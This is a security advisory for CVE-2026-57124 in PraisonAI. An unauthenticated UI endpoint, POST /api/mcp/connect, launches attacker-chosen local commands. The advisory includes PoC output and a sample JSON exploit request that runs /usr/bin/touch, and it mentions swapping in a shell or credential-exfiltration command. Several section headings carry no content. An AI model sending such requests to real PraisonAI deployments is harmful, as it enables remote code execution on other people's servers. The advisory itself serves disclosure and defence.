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PraisonAI: Missing Authentication for Critical Function and Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai

CVE-2026-57124 ยท 2026-06-18 critical

Class
MCP and Tool Server Flaws (filed by a model that read the advisory)
Technique
Code and command execution
Also involves
AI Framework and Platform Flaws
Affected
praisonai (PyPI)
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
1.0% chance of exploitation in 30 days

How it works, in short

An unauthenticated UI endpoint accepts a command and arguments for an MCP stdio connection, so the server launches attacker-chosen local processes. (Our summary, written by a model. The source text is below.)

Details

Unauthenticated PraisonAI UI MCP connect endpoint executes attacker-chosen local commands

Summary

PraisonAI v4.6.48 exposes the PraisonAIUI MCP client management API through the default UI host apps without authentication. A remote unauthenticated client can send POST /api/mcp/connect with a command and args field. The endpoint passes those values into the MCP stdio client, which starts the attacker-selected local process as the PraisonAI UI service user.

The issue is reachable through PraisonAI's hosted UI integration (praisonai ui, praisonai ui agents, praisonai claw, and any app using praisonai.integration.host_app.create_host_app() / build_host_app()). praisonai ui and related Typer UI commands bind to 0.0.0.0 by default.

Affected Versions

Confirmed affected:

Likely affected:

Severity

Reasoning:

Root Cause

PraisonAI depends on MCP by default and exposes PraisonAIUI via optional UI extras:

PraisonAI's UI commands bind externally by default and launch aiui run:

PraisonAI's default apps create the PraisonAIUI Starlette app without forcing authentication:

In aiui==0.3.121, the exposed server registers the MCP routes and auth is opt-in:

The MCP feature converts the request body into a local process launch:

Minimal PoC

PoC file: poc/praisonai-aiui-mcp-connect-rce.py

The PoC runs the PraisonAI host app in-process, sends the unauthenticated HTTP request, and asks the server to execute /usr/bin/touch /tmp/praisonai_host_app_mcp_touch_marker.txt. It does not contact an LLM provider and uses no credentials.

Observed output from the tested checkout with aiui==0.3.121 and mcp==1.25.0 available:

[19:19:55] server.py:229 WARNING No auth_token provided for Gateway server. Generated temporary token: gw_****650a. For production, set GATEWAY_AUTH_TOKEN.
[19:19:55] mcp.py:135 ERROR Failed to connect to MCP stdio server: 'tuple' object has no attribute 'initialize'
HTTP_STATUS= 200
RESPONSE= {"server":{"name":"poc-stdio-process-0","transport":"stdio","status":"error","tools":[],"last_error":"Connection failed"}}
SUCCESS_AT_ATTEMPT= 0
MARKER_EXISTS= True
MARKER_PATH= /tmp/praisonai_host_app_mcp_touch_marker.txt

The MCP handshake fails because aiui==0.3.121 is not compatible with the locked mcp==1.25.0 return shape, but the attacker-selected process is already started. Process startup can race the immediate teardown caused by this version mismatch, so the checked-in PoC retries the same unauthenticated request until /usr/bin/touch wins scheduling and creates the marker. The marker file proves local command execution despite the reported MCP connection error.

Exploit Scenario

An operator runs:

pip install "praisonai[ui]"
praisonai ui

Because praisonai ui binds to 0.0.0.0 by default and the generated app does not require authentication by default, any host that can reach the UI port can send:

POST /api/mcp/connect
Content-Type: application/json

{
  "name": "evil",
  "command": "/usr/bin/touch",
  "args": ["/tmp/pwned-by-ui-mcp"]
}

In a real attack, the command can be replaced with a shell, a credential exfiltration command, a file modification command, or a payload that starts a long-lived process as the PraisonAI UI server user.

Novelty / Non-Duplicate Analysis

Searched sources:

Why this is distinct from known PraisonAI advisories:

Recommended Fix

References

Source: GitHub Advisory Database, used under CC BY 4.0.